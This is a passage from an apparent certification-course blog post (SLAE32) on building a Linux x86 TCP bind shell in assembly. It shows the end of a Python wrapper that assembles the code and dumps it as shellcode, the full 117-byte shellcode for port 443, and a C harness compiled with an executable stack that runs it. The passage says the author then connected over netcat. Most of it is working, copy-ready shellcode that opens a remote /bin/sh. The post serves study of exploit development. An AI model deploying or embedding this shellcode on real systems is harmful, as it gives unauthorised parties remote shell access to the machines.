        # Modify the port in tcp_bind_shell.nasm
        set_port(args.port)

        # Link and assemble code
        os.system('nasm -f elf32 -o tcp_bind_shell_x86.o tmp.nasm')
        os.system('ld -o tcp_bind_shell_x86 tcp_bind_shell_x86.o')

        # Dump the shellcode using objdump
        shellcode = gen_shellcode()

        # Print shellcode
        print_shellcode(shellcode, args.port)

        # Cleanup
        os.system('rm tmp.nasm')
        os.system('rm tcp_bind_shell_x86.o')
        os.system('rm tcp_bind_shell_x86')

if __name__ == "__main__":
        main()

We generate our shellcode for a bind shell on TCP port 443:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# python3 wrapper.py -p 443                                                                                                                                                                      130 ⨯ 1 ⚙
[*] Generating shellcode for TCP bind shell on port 443
[*] Shellcode length: 117 bytes
[*] Checking for NULL bytes...
[+] No NULL bytes detected!
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x01\xbb\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

We can now paste the generated shellcode into our shellcode.c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x01\xbb\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

int main()
{
        printf("Shellcode Length: %dn", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile the shellcode with gcc:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We connect over netcat and confirm that our TCP bind shell is listening on our specified port, 443. Success!


Code

The assembly, python and C source code for the above Linux x86 TCP bind shell implementation can be found on my GitHub repository.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-6483

All code was written and tested using 32-bit Kali Linux:

┌──(jack㉿kali)-[~/SLAE32/Assignment 1: TCP Bind Shell]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux

In the next blog post, we will be covering how to implement an x86 TCP reverse shell in assembly.

Thanks for reading!


Close